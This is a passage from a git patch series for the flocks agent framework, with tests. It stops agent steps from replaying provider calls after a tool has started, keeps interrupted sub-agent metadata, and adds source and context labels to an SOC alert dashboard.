changed, 281 insertions(+), 6 deletions(-) diff --git a/flocks/session/runner.py b/flocks/session/runner.py index 44dfc52d9..0e74e4577 100644 --- a/flocks/session/runner.py +++ b/flocks/session/runner.py @@ -1678,8 +1678,11 @@ async def device_asset_prompt_factory() -> Optional[str]: and not result.content and not result.tool_calls): empty_attempt += 1 unsafe_auto_replay = ( - self._defer_step_errors - and not self._attempt_state.replay_safe + self._attempt_state.tool_execution_started + or ( + self._defer_step_errors + and not self._attempt_state.replay_safe + ) ) if empty_attempt <= MAX_EMPTY_RETRIES and not unsafe_auto_replay: # Record usage for this empty attempt even though we are @@ -1821,7 +1824,15 @@ async def device_asset_prompt_factory() -> Optional[str]: ) else: will_retry = retry_message is not None and error_attempt <= retry_limit - if self._defer_step_errors and not self._attempt_state.replay_safe: + retry_blocked_by_tool_execution = ( + self._attempt_state.tool_execution_started + ) + if retry_blocked_by_tool_execution: + # A tool may already have changed external state. Replaying + # the provider request can emit the same call again with a + # new call id, so no retry mode is safe past this boundary. + will_retry = False + elif self._defer_step_errors and not self._attempt_state.replay_safe: # Retrying after text/reasoning/tool activity can duplicate # visible output or execute a tool twice. will_retry = False @@ -1861,7 +1872,13 @@ async def device_asset_prompt_factory() -> Optional[str]: continue else: # Error is not retryable, or retry budget exhausted - if retry_message is not None: + if retry_blocked_by_tool_execution: + log.error("runner.step.retry_suppressed", { + **error_log_context, + "attempt": error_attempt, + "reason": "tool_execution_started", + }) + elif retry_message is not None: log.error("runner.step.max_retries_exceeded", { **error_log_context, "attempt": error_attempt, @@ -3482,7 +3499,16 @@ async def _on_tool_execution_start( chunk_counts["tool"] += 1 for tc in chunk_tool_calls: await tool_accumulator.feed_chunk(tc) + except asyncio.CancelledError: + # Foreground delegate tasks own child sessions. Let their + # cancellation/finalization finish before unwinding this step. + await processor.drain_parallel_tool_calls() + raise except Exception as exc: + # A foreground delegate may already be running when the provider + # stream fails. Drain first so the retry layer observes the tool + # side-effect fence and cannot dispatch the same work twice. + await processor.drain_parallel_tool_calls() partial_response = _build_llm_response_payload( content=processor.get_text_content(), reasoning=processor.get_reasoning_content(), diff --git a/flocks/tool/agent/delegate_task.py b/flocks/tool/agent/delegate_task.py index 34280507a..0ee80c8df 100644 --- a/flocks/tool/agent/delegate_task.py +++ b/flocks/tool/agent/delegate_task.py @@ -559,6 +559,6 @@ async def delegate_task_tool( loop_result=result, metadata=forwarder.final_metadata, ) - result_status = "completed" if tool_result.success else "error" + result_status = str((tool_result.metadata or {}).get("status") or ("completed" if tool_result.success else "error")) ctx.metadata({"title": description, "metadata": {**forwarder.final_metadata, "status": result_status}}) return tool_result diff --git a/flocks/tool/subagent_result.py b/flocks/tool/subagent_result.py index 82da7e136..e6676273a 100644 --- a/flocks/tool/subagent_result.py +++ b/flocks/tool/subagent_result.py @@ -46,6 +46,16 @@ async def format_sync_subagent_result( metadata=final_metadata, ) + loop_metadata = getattr(loop_result, "metadata", None) + if isinstance(loop_metadata, dict) and loop_metadata.get("aborted") is True: + final_metadata["status"] = "interrupted" + return ToolResult( + success=False, + error=(f"Sub-agent execution was interrupted.\n\n{_task_metadata_block(session_id)}"), + title=description, + metadata=final_metadata, + ) + last_message = getattr(loop_result, "last_message", None) if not last_message: return ToolResult( diff --git a/tests/session/test_runner_llm_hooks.py b/tests/session/test_runner_llm_hooks.py index 7a3233e36..a2c7ba864 100644 --- a/tests/session/test_runner_llm_hooks.py +++ b/tests/session/test_runner_llm_hooks.py @@ -11,8 +11,10 @@ import flocks.session.runner as runner_mod from flocks.hooks.pipeline import HookBase, HookPipeline from flocks.provider.provider import ChatMessage +from flocks.session.streaming.stream_processor import StreamProcessor from flocks.session.runner import SessionRunner from flocks.session.session import SessionInfo +from flocks.tool.registry import ToolResult def _make_session(session_id: str = "ses_runner_llm_hooks") -> SessionInfo: @@ -317,3 +319,94 @@ async def _gen(): ) assert order == ["before", "provider", "after"] + + +@pytest.mark.asyncio +async def test_call_llm_drains_started_delegate_before_raising_provider_error( + monkeypatch: pytest.MonkeyPatch, +): + runner = _make_runner("ses_runner_delegate_provider_error") + assistant_msg = SimpleNamespace(id="msg_assistant_delegate_provider_error") + agent = SimpleNamespace(name="rex") + delegate_started = asyncio.Event() + release_delegate = asyncio.Event() + + async def _execute_delegate(tool_name, ctx, **_kwargs): + assert tool_name == "delegate_task" + assert ctx.call_id == "call-delegate" + delegate_started.set() + await release_delegate.wait() + return ToolResult(success=True, output="child done") + + monkeypatch.setattr(runner_mod, "langfuse_is_active", lambda: False) + monkeypatch.setattr(runner_mod.Message, "update", AsyncMock(return_value=None)) + monkeypatch.setattr( + runner_mod.HookPipeline, + "has_stage_handlers", + AsyncMock(return_value=False), + ) + monkeypatch.setattr( + "flocks.provider.options.build_provider_options", + lambda provider_id, model_id: {}, + ) + monkeypatch.setattr( + "flocks.session.streaming.stream_processor.Message.store_part", + AsyncMock(return_value=None), + ) + monkeypatch.setattr( + "flocks.session.streaming.stream_processor.Message.parts", + AsyncMock(return_value=[]), + ) + monkeypatch.setattr( + "flocks.session.streaming.stream_processor.ToolRegistry.execute", + _execute_delegate, + ) + monkeypatch.setattr( + StreamProcessor, + "_resolve_sandbox_meta", + AsyncMock(return_value={"blocked": False, "error": None, "extra": {}}), + ) + + class _Provider: + def chat_stream(self, **_kwargs): + async def _gen(): + yield SimpleNamespace( + delta="", + reasoning=None, + tool_calls=[ + { + "index": 0, + "id": "call-delegate", + "function": { + "name": "delegate_task", + "arguments": ('{"subagent_type":"explore","prompt":"inspect the failure"}'), + }, + } + ], + event_type=None, + finish_reason=None, + usage=None, + ) + await delegate_started.wait() + raise RuntimeError("provider stream failed after delegate start") + + return _gen() + + call_task = asyncio.create_task( + runner._call_llm( + provider=_Provider(), + messages=[ChatMessage(role="user", content="delegate the investigation")], + tools=[], + agent=agent, + assistant_msg=assistant_msg, + ) + ) + await asyncio.wait_for(delegate_started.wait(), timeout=1) + await asyncio.sleep(0) + provider_error_waited_for_delegate = not call_task.done() + + release_delegate.set() + with pytest.raises(RuntimeError, match="provider stream failed after delegate start"): + await call_task + + assert provider_error_waited_for_delegate is True diff --git a/tests/session/test_runner_step.py b/tests/session/test_runner_step.py index 82fb6aaec..a57e73b33 100644 --- a/tests/session/test_runner_step.py +++ b/tests/session/test_runner_step.py @@ -2931,6 +2931,60 @@ async def test_process_step_retries_empty_transport_exception(monkeypatch): runner.callbacks.on_error.assert_not_awaited() +@pytest.mark.asyncio +async def test_process_step_does_not_retry_after_tool_execution_started(monkeypatch): + runner = _make_runner("ses_runner_tool_side_effect_no_retry") + runner.callbacks = RunnerCallbacks(on_error=AsyncMock()) + + last_user = UserMessageInfo( + id="msg_user_tool_side_effect_no_retry", + sessionID=runner.session.id, + role="user", + time={"created": 1_000}, + agent="rex", + model={"providerID": "openai", "modelID": "gpt-5"}, + ) + agent = SimpleNamespace(name="rex", steps=None, mode="primary", prompt="", tools=[]) + provider = MagicMock() + provider.is_configured.return_value = True + assistant_msg = SimpleNamespace(id="msg_assistant_tool_side_effect_no_retry") + call_count = 0 + sleep_mock = AsyncMock(return_value=None) + + async def _call_llm(*_args, **_kwargs): + nonlocal call_count + call_count += 1 + runner._attempt_state.tool_execution_started = True + raise httpcore.ReadError() + + monkeypatch.setattr(runner_mod.Agent, "get", AsyncMock(return_value=agent)) + monkeypatch.setattr(runner_mod.Provider, "get", lambda provider_id: provider) + monkeypatch.setattr(runner_mod.Provider, "apply_config", AsyncMock(return_value=None)) + monkeypatch.setattr( + runner_mod.SessionPrompt, + "build_system_prompts", + AsyncMock(return_value=[]), + ) + monkeypatch.setattr(runner, "_build_callable_tool_schema", AsyncMock(return_value=[])) + monkeypatch.setattr( + runner, + "_to_chat_messages", + AsyncMock(return_value=[SimpleNamespace(role="user", content="hi")]), + ) + monkeypatch.setattr(runner_mod.Message, "get_text_content", AsyncMock(return_value="hi")) + monkeypatch.setattr(runner_mod.Message, "create", AsyncMock(return_value=assistant_msg)) + monkeypatch.setattr(runner_mod.Message, "update", AsyncMock(return_value=None)) + monkeypatch.setattr(runner_mod.SessionRetry, "sleep", sleep_mock) + monkeypatch.setattr(runner, "_call_llm", _call_llm) + + result = await runner._process_step([last_user], last_user) + + assert call_count == 1 + assert result.action == "stop" + assert result.error == runner_mod.CONNECTION_ERROR_DISPLAY_MESSAGE + sleep_mock.assert_not_awaited() + + @pytest.mark.asyncio async def test_process_step_uses_default_max_steps_when_agent_steps_missing(monkeypatch): runner = _make_runner("ses_runner_default_max_steps") diff --git a/tests/tool/test_delegate_task_compat.py b/tests/tool/test_delegate_task_compat.py index 59be3c16f..644718c10 100644 --- a/tests/tool/test_delegate_task_compat.py +++ b/tests/tool/test_delegate_task_compat.py @@ -1,5 +1,5 @@ from types import SimpleNamespace -from unittest.mock import AsyncMock, patch +from unittest.mock import AsyncMock, MagicMock, patch import pytest @@ -257,3 +257,95 @@ async def test_delegate_task_sync_continue_fails_when_last_message_missing(self) assert result.metadata["sessionId"] == "ses-child" assert result.metadata["emptyOutput"] is True assert "without producing a final assistant message" in (result.output or "") + + @pytest.mark.asyncio + async def test_delegate_task_sync_continue_reports_normalized_abort(self): + session = SimpleNamespace( + id="ses-child-aborted", + agent="asset-survey", + ) + + with ( + patch( + "flocks.tool.agent.delegate_task.Session.get_by_id", + AsyncMock(return_value=session), + ), + patch("flocks.tool.agent.delegate_task.Message.create", AsyncMock()), + patch( + "flocks.tool.agent.delegate_task.SessionLoop.run", + AsyncMock( + return_value=SimpleNamespace( + action="stop", + error=None, + last_message=None, + metadata={"aborted": True}, + ) + ), + ), + ): + result = await ToolRegistry.execute( + "delegate_task", + ctx=_make_ctx(), + session_id="ses-child-aborted", + prompt="Continue investigating", + ) + + assert result.success is False + assert result.metadata["sessionId"] == "ses-child-aborted" + assert result.metadata["status"] == "interrupted" + assert "Sub-agent execution was interrupted" in (result.error or "") + assert "session_id: ses-child-aborted" in (result.error or "") + + @pytest.mark.asyncio + async def test_new_delegate_reports_normalized_abort_to_parent_metadata(self): + ctx = _make_ctx() + metadata_callback = MagicMock() + ctx.metadata = metadata_callback + parent_session = SimpleNamespace( + id="test-session", + project_id="proj", + directory="/tmp/project", + provider=None, + model=None, + ) + child_session = SimpleNamespace(id="ses-new-child-aborted") + + with ( + patch( + "flocks.tool.agent.delegate_task._find_completed_delegate", + AsyncMock(return_value=None), + ), + patch("flocks.tool.agent.delegate_task.is_delegatable", return_value=True), + patch( + "flocks.tool.agent.delegate_task.Session.get_by_id", + AsyncMock(return_value=parent_session), + ), + patch( + "flocks.tool.agent.delegate_task.Session.create", + AsyncMock(return_value=child_session), + ), + patch("flocks.tool.agent.delegate_task.Message.create", AsyncMock()), + patch( + "flocks.tool.agent.delegate_task.SessionLoop.run", + AsyncMock( + return_value=SimpleNamespace( + action="stop", + error=None, + last_message=None, + metadata={"aborted": True}, + ) + ), + ), + ): + result = await ToolRegistry.execute( + "delegate_task", + ctx=ctx, + subagent_type="asset-survey", + prompt="Investigate the interruption", + ) + + assert result.success is False + assert result.metadata["sessionId"] == "ses-new-child-aborted" + assert result.metadata["status"] == "interrupted" + final_parent_metadata = metadata_callback.call_args_list[-1].args[0] + assert final_parent_metadata["metadata"]["status"] == "interrupted" From a7217cfa8808eafc5d519395f9485f7b6937005d Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Tue, 4 Aug 2026 14:23:21 +0800 Subject: [PATCH 06/67] fix(subagent): preserve session metadata on cancellation --- flocks/session/streaming/stream_processor.py | 14 +++++- tests/session/test_stream_processor.py | 53 +++++++++++++++++++- 2 files changed, 64 insertions(+), 3 deletions(-) diff --git a/flocks/session/streaming/stream_processor.py b/flocks/session/streaming/stream_processor.py index ca1666474..05397ab4a 100644 --- a/flocks/session/streaming/stream_processor.py +++ b/flocks/session/streaming/stream_processor.py @@ -11,7 +11,7 @@ import time as _time from datetime import datetime from typing import Dict, Any, Optional, List, AsyncIterator, Callable, Awaitable -from dataclasses import dataclass +from dataclasses import dataclass, field from flocks.utils.log import Log from flocks.utils.id import Identifier @@ -91,6 +91,7 @@ class ToolCallState: status: str = "pending" # "pending", "running", "completed", "error" output: Optional[str] = None error: Optional[str] = None + metadata: Dict[str, Any] = field(default_factory=dict) class StreamProcessor: @@ -773,6 +774,7 @@ def _cb(metadata: Dict[str, Any]): if _finished[0]: return snapshot = copy.deepcopy(metadata) + tool_state.metadata = snapshot state_dict = { "status": "running", "input": _input, @@ -1127,6 +1129,12 @@ async def _finalize_interrupted_tool_call( ) -> None: """Emit and persist the terminal state for an interrupted tool call.""" interrupt_msg = "Tool execution was interrupted" + interrupted_metadata = { + **tool_state.metadata, + "status": "interrupted", + "interrupted": True, + } + tool_state.metadata = interrupted_metadata log.info("stream.tool_call.cancelled", { "tool_call_id": tool_call_id, "tool_name": tool_name, @@ -1136,7 +1144,7 @@ async def _finalize_interrupted_tool_call( interrupted_result = ToolResult( success=False, error=interrupt_msg, - metadata={"interrupted": True}, + metadata=interrupted_metadata, ) await self._run_tool_after_hook( tool_name=tool_name, @@ -1169,6 +1177,7 @@ async def _finalize_interrupted_tool_call( status="error", input=tool_input, error=interrupt_msg, + metadata=interrupted_metadata, time={"start": tool_start_time, "end": tool_end_time}, ) error_part = ToolPart( @@ -1201,6 +1210,7 @@ async def _finalize_interrupted_tool_call( "status": "error", "input": tool_input, "error": interrupt_msg, + "metadata": interrupted_metadata, "time": { "start": tool_start_time, "end": tool_end_time, diff --git a/tests/session/test_stream_processor.py b/tests/session/test_stream_processor.py index 914f16d30..3776136ab 100644 --- a/tests/session/test_stream_processor.py +++ b/tests/session/test_stream_processor.py @@ -31,7 +31,7 @@ ToolCallEvent, ToolInputStartEvent, ) -from flocks.session.message import MessageRole +from flocks.session.message import MessageRole, ToolStateError # --------------------------------------------------------------------------- @@ -809,6 +809,57 @@ async def _cancelled_execute(*, tool_name, ctx, **kwargs): await asyncio.sleep(0) assert len(event_callback.await_args_list) == baseline_calls + @pytest.mark.asyncio + async def test_cancelled_tool_preserves_running_metadata_in_error_state(self): + proc = _make_processor() + store_part = AsyncMock() + + async def _cancelled_execute(*, tool_name, ctx, **kwargs): + ctx.metadata({ + "title": "Inspect child", + "metadata": { + "sessionId": "ses_child_cancelled", + "status": "running", + }, + }) + await asyncio.sleep(0) + raise asyncio.CancelledError() + + with ( + patch( + "flocks.session.streaming.stream_processor.Message.store_part", + new=store_part, + ), + patch( + "flocks.session.streaming.stream_processor.Message.update_part", + new=AsyncMock(), + ), + patch( + "flocks.session.streaming.stream_processor.ToolRegistry.execute", + new=AsyncMock(side_effect=_cancelled_execute), + ), + ): + await proc.process_event( + ToolInputStartEvent(id="tc_cancel_metadata", tool_name="run_workflow") + ) + with pytest.raises(asyncio.CancelledError): + await proc.process_event( + ToolCallEvent( + tool_call_id="tc_cancel_metadata", + tool_name="run_workflow", + input={"workflow": "wf.json"}, + ) + ) + + final_part = store_part.await_args_list[-1].args[2] + assert isinstance(final_part.state, ToolStateError) + assert final_part.state.metadata == { + "title": "Inspect child", + "sessionId": "ses_child_cancelled", + "status": "interrupted", + "interrupted": True, + } + @pytest.mark.asyncio async def test_completed_tool_cancels_pending_running_metadata_tasks(self): proc = _make_processor(event_callback=AsyncMock()) From a689fba5bc7043a96057f3664dc91c57c6f0ad43 Mon Sep 17 00:00:00 2001 From: John Yin <10972267+john-yin2333@user.noreply.gitee.com> Date: Tue, 4 Aug 2026 14:59:10 +0800 Subject: [PATCH 07/67] Improve SOC dashboard activity context --- .../webuis/soc_ui/soc_dashboard/src/Page.tsx | 111 ++++++++++- .../utils/socDashboardPageRuntime.test.tsx | 181 ++++++++++++++++++ 2 files changed, 287 insertions(+), 5 deletions(-) create mode 100644 webui/src/utils/socDashboardPageRuntime.test.tsx diff --git a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx index 84640a3ad..3fabbc14e 100644 --- a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx +++ b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page.tsx @@ -1703,7 +1703,65 @@ function CommandConnections() { ]); } -function CommandActivityLane({ kind, lane }) { +function activitySourceBadge(event) { + if (!event || event.stage !== 'denoise') return null; + if (event.triggerSource === 'workflow_execution') { + return { label: '工作流执行', title: '来源：workflow.db.workflow_executions' }; + } + if (event.triggerSource === 'workflow_stats') { + return { label: '工作流统计', title: '来源：workflow.db.workflow_stats 调用计数变化' }; + } + return { + label: '告警记录', + title: event.alert?.sourceType + ? `来源：soc.db 告警记录 · ${String(event.alert.sourceType).toUpperCase()}` + : '来源：soc.db 告警记录', + }; +} + +function activityCorrelationKeys(event) { + if (!event) return []; + const keys = []; + const dedupKey = String(event.result?.dedupKey || event.alert?.dedupKey || '').trim(); + const alertId = String(event.alert?.id || '').trim(); + const endpointThreat = [ + event.alert?.srcIp, + event.alert?.dstIp, + event.alert?.threatName, + ].map((item) => String(item || '').trim()).filter(Boolean).join('|'); + if (dedupKey) keys.push(`dedup:${dedupKey}`); + if (alertId) keys.push(`id:${alertId}`); + if (endpointThreat) keys.push(`flow:${endpointThreat}`); + return keys.map((key) => key.toLowerCase()); +} + +function activityEventsCorrelate(left, right) { + const rightKeys = new Set(activityCorrelationKeys(right)); + return activityCorrelationKeys(left).some((key) => rightKeys.has(key)); +} + +function laneLinkStatus(kind, event, peerLane) { + if (!event) return ''; + const peerEvent = peerLane?.current || peerLane?.last; + if (kind === 'denoise') { + if (!peerEvent) return '等待研判接收'; + if (!activityEventsCorrelate(event, peerEvent)) return ''; + return peerLane.current ? '已流转至研判' : '研判结果已回写'; + } + if (!peerEvent || !activityEventsCorrelate(event, peerEvent)) return ''; + return peerLane.current ? '承接降噪结果' : '承接最近降噪'; +} + +function triageContextText(stats) { + const triage = stats?.triage || EMPTY_STATS.triage; + const total = Math.max(Number(triage.totalRecords || 0), 0); + const newTriaged = Math.max(Number(triage.newTriaged || 0), 0); + const reused = Math.max(Number(triage.cacheHit || 0), 0) + + Math.max(Number(triage.followersReused || 0), 0); + return `窗口研判 ${compactNumber(total)} 条 · AI新研判 ${compactNumber(newTriaged)} 条 · 复用 ${compactNumber(reused)} 条`; +} + +function CommandActivityLane({ kind, lane, peerLane, stats }) { const event = lane.current || lane.last; const active = Boolean(lane.current); const steps = kind === 'denoise' ? ['接入', '特征', '聚类', '降噪'] : ['证据', '情报', '推理', '结论']; @@ -1719,6 +1777,9 @@ function CommandActivityLane({ kind, lane }) { ? `${event.alert.threatName}${sampleCount > 1 ? ` × ${sampleCount}` : ''}` : '等待新告警进入'; const resultText = event ? activityResultText(event) : '自动巡检 · 等待任务'; + const sourceBadge = activitySourceBadge(event); + const linkStatus = laneLinkStatus(kind, event, peerLane); + const contextText = kind === 'triage' ? triageContextText(stats) : linkStatus; return h('div', { className: cx('command-activity-lane', `lane-${kind}`, active && 'active'), style: { @@ -1728,7 +1789,10 @@ function CommandActivityLane({ kind, lane }) { }, [ h('div', { className: 'command-lane-copy', key: 'copy' }, [ h('div', { className: 'command-lane-head', key: 'head' }, [ - h('span', { key: 'label' }, kind === 'denoise' ? '智能降噪' : '智能研判'), + h('span', { className: 'command-lane-name', key: 'label' }, [ + kind === 'denoise' ? '智能降噪' : '智能研判', + sourceBadge ? h('em', { className: 'command-source-badge', title: sourceBadge.title, key: 'source' }, sourceBadge.label) : null, + ]), h('b', { key: 'status' }, status), ]), h('strong', { title: eventTitle, key: 'title' }, eventTitle), @@ -1737,6 +1801,10 @@ function CommandActivityLane({ kind, lane }) { style: active ? { animationDelay: `${Math.round(duration * 0.65)}ms` } : undefined, key: 'result', }, resultText) : null, + contextText ? h('small', { + className: cx('command-lane-context', kind === 'denoise' && linkStatus && 'link-status'), + key: 'context', + }, contextText) : null, ]), h('div', { className: 'command-drum-shell', 'aria-label': steps.join('、'), key: 'drum' }, [ h('div', { className: 'command-drum-caption', key: 'caption' }, [ @@ -1812,8 +1880,8 @@ function CommandGraph({ stats, activity }) { h(AnimatedNumber, { tag: 'b', value: item.value, key: 'value' }), ]))), h('div', { className: 'command-lanes', key: 'lanes' }, [ - h(CommandActivityLane, { kind: 'denoise', lane: activity.denoise, key: 'denoise' }), - h(CommandActivityLane, { kind: 'triage', lane: activity.triage, key: 'triage' }), + h(CommandActivityLane, { kind: 'denoise', lane: activity.denoise, peerLane: activity.triage, stats, key: 'denoise' }), + h(CommandActivityLane, { kind: 'triage', lane: activity.triage, peerLane: activity.denoise, stats, key: 'triage' }), ]), ]); } @@ -2581,6 +2649,10 @@ export default function Page() { const poll = async () => { if (stopped) return; + if (document.hidden) { + schedule(ACTIVITY_POLL_MS); + return; + } try { const params = mockDashboardEnabled ? { mockActivity: '1' } : {}; const response = await getApi().page.get('/task-center', { params }); @@ -4715,8 +4787,25 @@ const CSS = ` box-shadow: inset 0 0 24px rgba(32,213,155,.08), 0 0 12px rgba(32,213,155,.08); } .command-lane-copy { min-width: 0; } -.command-lane-head { display: flex; align-items: center; justify-content: space-between; } +.command-lane-head { display: flex; align-items: center; justify-content: space-between; gap: 8px; min-width: 0; } .command-lane-head span { color: var(--drum-accent); font-size: 12px; font-weight: 700; } +.command-lane-name { display: flex; min-width: 0; align-items: center; gap: 6px; overflow: hidden; white-space: nowrap; } +.command-source-badge { + flex: 0 0 auto; + max-width: 72px; + overflow: hidden; + border: 1px solid color-mix(in srgb, var(--drum-accent) 34%, transparent); + border-radius: 3px; + padding: 1px 4px; + color: rgba(218,247,255,.78); + font-size: 10px; + font-style: normal; + font-weight: 650; + line-height: 1.2; + text-overflow: ellipsis; + white-space: nowrap; + background: color-mix(in srgb, var(--drum-accent) 9%, transparent); +} .command-lane-head b { color: #7890a4; font-size: 11px; font-weight: 600; } .command-activity-lane.active .command-lane-head b { color: #50e3b5; } .command-lane-copy > strong { @@ -4740,6 +4829,18 @@ const CSS = ` } .command-lane-result.idle { color: rgba(170,222,255,.55); } .command-activity-lane.active .command-lane-result { opacity: 0; animation: laneResult .35s ease forwards; } +.command-lane-context { + display: block; + max-width: 100%; + margin-top: 5px; + overflow: hidden; + color: rgba(170,222,255,.58); + font-size: 10px; + line-height: 1.2; + text-overflow: ellipsis; + white-space: nowrap; +} +.command-lane-context.link-status { color: rgba(117,232,196,.68); } .command-drum-shell { position: relative; display: grid; diff --git a/webui/src/utils/socDashboardPageRuntime.test.tsx b/webui/src/utils/socDashboardPageRuntime.test.tsx new file mode 100644 index 000000000..f1725068e --- /dev/null +++ b/webui/src/utils/socDashboardPageRuntime.test.tsx @@ -0,0 +1,181 @@ +import React from 'react'; +import { render, screen, waitFor } from '@testing-library/react'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +import Page from '../../../.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/src/Page'; + +const pageGetMock = vi.fn(); +const originalDocumentHidden = Object.getOwnPropertyDescriptor(Document.prototype, 'hidden'); + +function installContractSdk() { + (globalThis as any).__FLOCKS_WEBUI_CONTRACT_SDK__ = { + React, + api: { + page: { + get: pageGetMock, + }, + }, + }; +} + +function setDocumentHidden(value: boolean) { + Object.defineProperty(document, 'hidden', { + configurable: true, + value, + }); +} + +describe('SOC dashboard contract page runtime', () => { + beforeEach(() => { + installContractSdk(); + setDocumentHidden(false); + window.sessionStorage.clear(); + pageGetMock.mockImplementation((path: string) => { + if (path === '/stats') { + return Promise.resolve({ data: {} }); + } + if (path === '/activity') { + return Promise.resolve({ + data: { + cursor: 'eyJsYXN0Um93SWQiOjAsImxhc3RBY3Rpdml0eUlkIjowfQ', + events: [], + recentEvents: [], + workflowEvents: [], + batch: {}, + workflowStats: { callCount: 0, latestStartedAt: 0 }, + tokenUsage: { totalTokens: 0, todayTokens: 0, todayRequests: 0, dailySeries: [] }, + }, + }); + } + if (path === '/task-center') { + return Promise.resolve({ data: { scheduledTasks: [], workflows: [] } }); + } + return Promise.reject(new Error(`unexpected path: ${path}`)); + }); + }); + + afterEach(() => { + delete (globalThis as any).__FLOCKS_WEBUI_CONTRACT_SDK__; + if (originalDocumentHidden) { + Object.defineProperty(document, 'hidden', originalDocumentHidden); + } else { + delete (document as any).hidden; + } + pageGetMock.mockReset(); + }); + + it('loads stats, activity, and task center data through the page SDK', async () => { + render(); + + await waitFor(() => { + expect(pageGetMock).toHaveBeenCalledWith('/stats', expect.anything()); + expect(pageGetMock).toHaveBeenCalledWith('/activity', expect.anything()); + expect(pageGetMock).toHaveBeenCalledWith('/task-center', expect.anything()); + }); + + expect(screen.getByText('Flocks AI 智能告警态势中心')).toBeInTheDocument(); + }); + + it('pauses task-center polling while the page is hidden', async () => { + setDocumentHidden(true); + + render(); + + await waitFor(() => { + expect(pageGetMock).toHaveBeenCalledWith('/stats', expect.anything()); + }); + + expect(pageGetMock).not.toHaveBeenCalledWith('/task-center', expect.anything()); + }); + + it('labels denoise sources, triage context, and linked lane events', async () => { + const occurredAt = new Date().toISOString(); + pageGetMock.mockImplementation((path: string) => { + if (path === '/stats') { + return Promise.resolve({ + data: { + triage: { + totalRecords: 12, + newTriaged: 5, + cacheHit: 4, + followersReused: 2, + }, + }, + }); + } + if (path === '/activity') { + return Promise.resolve({ + data: { + cursor: 'eyJsYXN0Um93SWQiOjAsImxhc3RBY3Rpdml0eUlkIjowfQ', + events: [], + recentEvents: [], + workflowEvents: [ + { + eventId: 'workflow-denoise-1', + stage: 'denoise', + status: 'running', + occurredAt, + triggerSource: 'workflow_execution', + sessionId: 'session-1', + alert: { + id: 'alert-1', + sourceType: 'workflow.db', + threatName: '远程命令执行', + srcIp: '10.0.0.1', + dstIp: '10.0.0.2', + }, + result: { + dedupKey: 'dedup-1', + isDuplicate: false, + }, + }, + { + eventId: 'workflow-triage-1', + stage: 'triage', + status: 'running', + occurredAt, + triggerSource: 'workflow_execution', + sessionId: 'session-1', + alert: { + id: 'alert-1', + sourceType: 'workflow.db', + threatName: '远程命令执行', + srcIp: '10.0.0.1', + dstIp: '10.0.0.2', + }, + result: { + triageSource: 'triaged', + riskLevel: 'high', + verdictLabel: '攻击行为', + }, + }, + ], + batch: {}, + workflowStats: { callCount: 0, latestStartedAt: 0 }, + tokenUsage: { totalTokens: 0, todayTokens: 0, todayRequests: 0, dailySeries: [] }, + }, + }); + } + if (path === '/task-center') { + return Promise.resolve({ data: { scheduledTasks: [], workflows: [] } }); + } + return Promise.reject(new Error(`unexpected path: ${path}`)); + }); + + render(); + + expect(await screen.findByText('工作流执行')).toBeInTheDocument(); + expect(await screen.findByText('窗口研判 12 条 · AI新研判 5 条 · 复用 6 条')).toBeInTheDocument(); + expect(await screen.findByText('已流转至研判')).toBeInTheDocument(); + }); + + it('reacts to the shared SOC dashboard title change event', async () => { + render(); + + window.dispatchEvent(new CustomEvent('soc-dashboard:title-changed', { + detail: { title: '自定义 SOC 态势中心' }, + })); + + expect(await screen.findByText('自定义 SOC 态势中心')).toBeInTheDocument(); + }); +}); From 8d64a239a8a0e6d6e1c1c566d9ee59f486e1cc7d Mon Sep 17 00:00:00 2001 From: John Yin <10972267+john-yin2333@user.noreply.gitee.com> Date: Tue, 4 Aug 2026 15:34:50 +0800 Subject: [PATCH 08/67] Fix SOC task center metric semantics --- .../soc_ui/soc_dashboard/api/handlers.py | 72 +++++++++++++--- .../webuis/soc_ui/soc_dashboard/src/Page.tsx | 11 +-- .../utils/socDashboardPageRuntime.test.tsx | 85 ++++++++++++++++++- 3 files changed, 151 insertions(+), 17 deletions(-) diff --git a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/api/handlers.py b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/api/handlers.py index b85305ca4..664039ba9 100644 --- a/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/api/handlers.py +++ b/.flocks/flockshub/plugins/webuis/soc_ui/soc_dashboard/api/handlers.py @@ -719,6 +719,38 @@ def _workflow_stats_sample_deltas(conn, workflow_name, start_time=0, end_time=0) return deltas +def _workflow_stats_call_delta_from_samples(conn, workflow_name, start_ms, end_ms): + if not _table_exists(conn, WORKFLOW_SNAPSHOT_TABLE): + return None + previous = conn.execute( + f"SELECT call_count FROM {WORKFLOW_SNAPSHOT_TABLE} " + "WHERE workflow_id = ? AND sampled_at < ? " + "ORDER BY sampled_at DESC LIMIT 1", + (workflow_name, start_ms), + ).fetchone() + if previous is None: + return None + rows = conn.execute( + f"SELECT sampled_at, call_count FROM {WORKFLOW_SNAPSHOT_TABLE} " + "WHERE workflow_id = ? AND sampled_at >= ? AND sampled_at < ? " + "ORDER BY sampled_at", + (workflow_name, start_ms, end_ms), + ).fetchall() + if not rows: + return None + total = 0 + previous_count = max(_safe_int(previous[0]), 0) + for _, call_count in rows: + current_count = max(_safe_int(call_count), 0) + total += ( + current_count - previous_count + if current_count >= previous_count + else current_count + ) + previous_count = current_count + return max(total, 0) + + def _workflow_metric_value(stats, key, fallback=0): value = stats.get(key) return max(_safe_int(fallback if value is None else value), 0) @@ -1291,8 +1323,8 @@ def _task_center_task_rows(limit=12): "SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END) AS success_count, " "SUM(CASE WHEN status IN ('pending', 'queued', 'running') THEN 1 ELSE 0 END) AS active_count, " "SUM(CASE WHEN " - "julianday(COALESCE(completed_at, updated_at, started_at, queued_at, created_at)) >= julianday(?) " - "AND julianday(COALESCE(completed_at, updated_at, started_at, queued_at, created_at)) < julianday(?) " + "julianday(COALESCE(started_at, queued_at, created_at)) >= julianday(?) " + "AND julianday(COALESCE(started_at, queued_at, created_at)) < julianday(?) " "THEN 1 ELSE 0 END) AS today_execution_count " "FROM task_executions WHERE scheduler_id = ?", (today_start_iso, 